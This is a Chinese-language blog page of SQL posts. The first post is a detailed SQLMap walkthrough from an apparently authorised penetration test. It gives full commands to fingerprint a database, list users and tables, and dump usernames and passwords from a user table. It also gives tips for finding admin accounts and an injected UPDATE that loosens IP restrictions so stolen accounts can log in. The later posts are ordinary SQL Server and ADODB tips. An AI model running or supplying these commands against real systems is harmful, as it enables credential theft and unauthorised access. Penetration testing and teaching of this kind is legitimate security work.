顯示具有 SQL 標籤的文章。 顯示所有文章
顯示具有 SQL 標籤的文章。 顯示所有文章

2014年4月12日 星期六

SQLMap 實戰(可怕的 SQL Injection漏洞)

隨意入侵別人的電腦是有罪的,本篇所述作為可能觸犯刑法第36章 妨害電腦使用罪 第358條到第361條,幸好本次作業是經高層主管核可的滲透測試,為了讓讀者明白系統存在SQL Injection有多可怕,特將測試過程中,有關SQL Injection入侵的結果與大家分享,千萬不要拿這種技巧進行非法入侵,否則後果自負!
SQLMap 是一套可以用來測試  SQL Injection並利用此漏洞的強大工具,當系統存在SQL Injection時,大都(不是全部哦!)可利用 SQLMap取得機敏資料,底下是SQLMap的操作步驟:
註:基於保密原則,涉及特定的系統資料會適當隱蔽!
一、 post與get 對 SQLMap的差異
網路上許多教SQLMap的教學資料是以 get 的方式提交資料,因為用 get 的方式比較單純,易於講解,但現在網頁的寫作越來越注重安全,設計師都知道在關鍵網頁要使用 post 方式提交資料,SQLMapget 提交方式對 post 網頁起不了作用,所以必須針對採用 post 提交的網頁事先預做處理,才能透過 SQLMap 來進行滲透。
get 的提交方式,欄位及其值直接於 URL 輸入,只要一串文字即可進行SQLMap滲透(如下例)
sqlmap -u "http://URL/PAGE?cityid=2&m=1" -p "cityid" -v 5
 可是 post 的提交是透過網頁的 <form></form>區段,首先利用 LocalProxy(如OWZAP、WebScarab)攔截對有漏洞網頁的提交,然後將 Request Header 的資料存成文字檔。這個文字檔就是要提交的 form 內容。而 SQLMap 的語法也改成:
sqlmap -r 文字檔路徑檔名 -v 5
二、發現漏洞
利用 SQL Injection 進行滲透,當然就是要先找到漏洞所在,恰巧這個系統存在一個(還真只找到這一個),檢視其原始碼,它是利用 post 提交,而提交的對象是自身,所以我們就將它的 Request Header存成文字檔(DsdXMLQuery.RAW)
手動測試發現有SQL Injection漏洞

查看原始碼,發現 Action 的對象是自身,而有漏洞的欄位是「htx_sTitle」

將此網頁的 Requeest Header儲成文字檔(DsdXMLQuery.raw)

三、利用SQLMap 進行滲透
首先用  sqlmap -r DsdXMLQuery.raw -p "htx_sTitle" ,讓 SQLMap 測試 DB Server 的環境資訊
-r 是指定 Request Header  的來源檔
-p 是指定有SQL Injection 的欄位,如果要測試多個欄位,可以用  , 分隔,例如: -p "fd1,fd2"  ,多欄位時,記得要用 " " 括起來!
發現作業系統、資料庫系統 及網站系統資訊

利用:sqlmap -r DsdXMLQuery.raw -p "htx_sTitle" -v 5 --current-user 查得連線資料庫的使用者是 「????user」(因為使用者名稱會洩漏受測機關,所以用????代替)

利用 sqlmap -r DsdXMLQuery.raw -p "htx_sTitle" --users -v 0 查詢 DBMS 可能的使用者資料,得知僅建立兩名使用者   sa  與   ????user

利用 sqlmap -r DsdXMLQuery.raw -p "htx_sTitle" -v 1 --dbs 查詢可能的資料庫,其中 Eservice98 與 ????EPP 是使用者建立的資料庫,經多次測試結果,確定本系統是使用 ????EPP 這個資料庫。

針對 ????EPP 資料庫,利用  sqlmap -r DsdXMLQuery.raw -p "htx_sTitle" -v 1 -D ????EPP --tables,測得共有 148 個 資料表,其中有一個資料表  InfoUserA ,研判應是使用者帳密資料表(其實之前我已先後測了 Account, Member,但表中都沒有資料),可是用 SQLMap 測試,卻都沒有資料回應,後來猜想是不是 SQLMap弄錯名稱,所以改用 InfoUser 再測,終於發現這是使用者資訊檔!
SQLMap 猜測的資料表名稱,有時會錯,所以不是測到的就都是可用的
找到 148  個資料表

緊接著用  sqlmap -r DsdXMLQuery.raw -p "htx_sTitle" -v 1 -D ????EPP -T InfoUser --columns -v 1 找出 InfoUser 的欄位組成(截圖略)

再來用 sqlmap -r DsdXMLQuery.raw -p "htx_sTitle" -v 1 -D ????EPP -T InfoUser -C "UserId,UserType,Password" --dump -v 1 將資料表中的 UserId, UserType, Password 三個欄位資料傾印出來,共有1388筆。
由於密碼是設計者自創的加密方式,太容易破解了,所以將部分內容予以隱蔽!

到這裡,已取得使用者資訊,但還必須去猜測管理員帳號,由於猜測管理員不是 SQLMap 的工作,請讀者自行從帳號裡去找!
 不過像這樣傾印所有使用者的做法,耗費太多時間(我花了2天才猜到40幾筆),通常我會試著找有沒有  %adm% 或  %sys% 或 %super% 或 %mgr% 或 %manag% 的帳號!

四、後記
在嘗試利用找到的帳號登入時,發現部分帳號是有鎖IP 的,這時候就可以利用 sqlmap -r DsdXMLQuery.raw -p "htx_sTitle" -D ????EPP --sql-query "UPDATE InforUser Set NetMask3=0, NetMask4=0 Where userid='sysopp1';"  將 IP 限制的範圍放寬(當然也可以將 IP 改成滲透的那台電腦,只是這樣管理員就無法登入,入侵行為很快就會被發現!
雖然取得帳密,但帳號有鎖IP,還是進不去

將 NetMask3, NetMask4 改成 0,放寬限制的區段

放寬後,再重新嘗試登入 ,已可成功登入了!

再叮嚀一次,千萬不要隨意去入侵別人的電腦,這是要負刑責的!

2013年7月15日 星期一

ADODB 的 Command.parameters 的吊詭!

程式存取資料庫建議使用 Prepare 方式來傳遞參數,所以一般會將查詢敘述寫成:
dim sql as string = "Insert myTable(fName1 ,fName2 ,fName3) values(?, ?, ?)"
三個 ? 對應到三個要傳遞進來的參數,所以會用下列方法來準備參數

Dim cmd As New ADODB.Command
cmd.CommandText = sql
With cmd
       .Parameters.Append(cmd.CreateParameter("fName1", ADODB.DataTypeEnum.adVarChar, , 50))
       .Parameters.Append(cmd.CreateParameter("fName2", ADODB.DataTypeEnum.adVarChar, , 50))
       .Parameters.Append(cmd.CreateParameter("fName3", ADODB.DataTypeEnum.adVarChar, , 50))
       .Parameters("fName1").value= "value1"
       .Parameters("fName2").value= "value2"
       .Parameters("fName3").value= "value3"
End With
cmd.Execute()

上面的程式看起來似乎沒有什麼問題,可是執行時卻會出現,因為參數的個數不相符。

可是將
dim sql as string = "Insert myTable(fName1 ,fName2 ,fName3) values(?, ?, ?)"
換成
dim sql as string = "Insert myTable(fName1 ,fName2 ,fName3) values(@fName1, @fName2, @fName3)"
就沒有問題了!

從上面的實驗得知,當參數位置使用「?」時,系統會自動為它建立一組 parameter,
可是用「@fname1」方式時卻不會!

故如果用「?」來準備參數,必要時需利用 .parameters.delete(index) 方法先將系統預留的參數區清除!

2012年9月25日 星期二

SQL 2005 錯誤 15023

MS SQL 資料庫系統的使用者有兩種身份:
(一)資料庫系統登入:註冊在:安全性-->登入  下的使用者,這邊的使用者是用來定義可登入此台 DB 個體(DB Instance 或指 DB Server)  的帳號,可登入,但不一定有 DB 的使用權!
(二)資料庫使用者:定義在 資料庫-->(個別資料庫)-->安全性-->使用者,這裡定義可以存取此資料庫的使用者



兩者的關係:
一般在建立使用者時即可指定兩者的對應,如果使用者建立後,才發現無法利用 Management Studio 調整對應(出現 錯誤:15023)可以利用下面的 Script 調整!

如果在(一)中沒有定義,則使用者無法登錄系統,如果在(二)中沒有定義,就不能存取此 DB,一般在設定上都會將 (一) 跟 (二)的使用者設成一樣(偷賴),但其實是可以透過對應方式 使用不同名稱,例如:
在 (一)設定名稱 為  PowerUser ,在(二)中設定名稱為  DBuser,然後利用:
Use MyDb
Go
sp_change_users_login 'update_one', 'DBuser', 'PowerUser'
將資料庫(MyDb)的使用者 DBuser 對應到 系統登入的使用者 PowerUser ,也就是說 PowerUser 登入系統後,對於 MyDb 的存取權限就相當於 DBuser!

完成設定後,可以從個別資料庫(如MyDb)的使用者屬性中看到:
使用者名稱:DBuser     (即在 MyDb 中的使用者)
登入名稱:PowerUser  (即系統登入的使用者)

(資料結構描述 ==  Data Schema)
額外備註:
資料庫的元素(或稱元件或部件或物件)會以多對多方式隷屬於某一個 Schema (例如:dbo),所以存取資料庫元素時,完整的寫法是:
伺服器名稱.資料庫名稱.結構描述名稱.物件名稱

如果在建立使用者時沒有指名使用哪一個Schema(結構描述)時,預設是 dbo,當然管理員也可以另外建立 Schema

USE MyDb
GO

CREATE SCHEMA mydbo AUTHORIZATION user
--對 MyDb建立一個 結構描述,名稱為 mydbo,並將它指定給 user (user 為 mydbo的所有人)

ALTER SCHEMA mydbo TRANSFER MyDb.myTable
--將 MyDb 的資料表 myTable 指定給 mydbo

ALTER AUTHORIZATION ON SCHEMA::mydbo TO User2
--將mydbo結構描述指定給 User2

SQL 2005 新增使用者後,造成AP無法存取問題

為測試DB從2000移轉到2005,並重新規劃連線使用者,以往都用 sa,移到2005後,不同的DB都指定不同的使用者帳密,結果DB移轉後,並重新指定使用者! 執行AP,出現下列錯誤:

Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e4d'

[Microsoft][SQL Native Client][SQL Server]使用者 'deadbook' 登入失敗。原因: 必須變更帳戶的密碼。

/LM/W3SVC/1831680886/Root/deadbook/global.asa, 列19


利用Management Studio 查看使用者的屬性,發現
強制執行密碼原則(F)
強制執行密碼逾期(X)
使用者必須在下次登入時變更密碼(U)

三項是打勾的,所以就取消打勾 ,但按下「確定」後確出現
更改對於登錄"user"失敗。(Microsoft.SqlServer.Express.Smo)
Additional information:
   執行Transact-SQL指令或批次時發生異常
       當MUST_CHANGE為ON(開)時,不能將CHECK_POLICY和CHECK_EXPIRATION選項設為OFF(關)。(Microsoft SQL Server, 錯誤: 15128)

原因:
我是用另一個帳號登入,所以不讓我更改此帳號的屬性,只要切換到此帳號即可:

Alter LOGIN 帳號 WITH PASSWORD='密碼'

帳號不必用 ' ' 括起來,但是密碼要用 ' ' 括起來!

2011年9月27日 星期二

指定Linq to Entity 轉成 SQL語法的版本

系統開發時是利用 SQL 2005 Express,在開發環境一切正常,可是移植到伺服機,每執行到
.FirstOrDefault()
就出錯,利用 SQL Profiler 查看,原來轉出來的的語法為:
Select TOP (1) ....

TOP (1) 在 SQL 2005/2008 是可被接受的語法,可是在 SQL 2000 卻語法錯誤!!!!


原來在 .edmx 中的 SSDL 區段內有一處可以指定轉譯成 SQL 敘述的版本「ProviderManifestToken」,其值即對應到 SQL Server 的版本(2000/2005/2008)

<!-- SSDL content -->
 <edmx:StorageModels>
  <Schema Namespace="LoginUserModel.Store" Alias="Self" Provider="System.Data.SqlClient" ProviderManifestToken="2000" ...

2011年1月11日 星期二

TSQL (Case When Then End) 的兩種用法

1.類似 IF Then ELSE 的用法,將條件式寫在 When

Case When (條件式1) THEN 傳回值1
   When (條件式2) THEN 傳回值2
    :
    :
   else 其他傳回值
End


2.類似 Switch case 的用法,將運算式寫在 Case

Case 運算式 When 運算值1 THEN 傳回值1
      When (
運算值2) THEN 傳回值2
       :
       :
      else 其他傳回值
End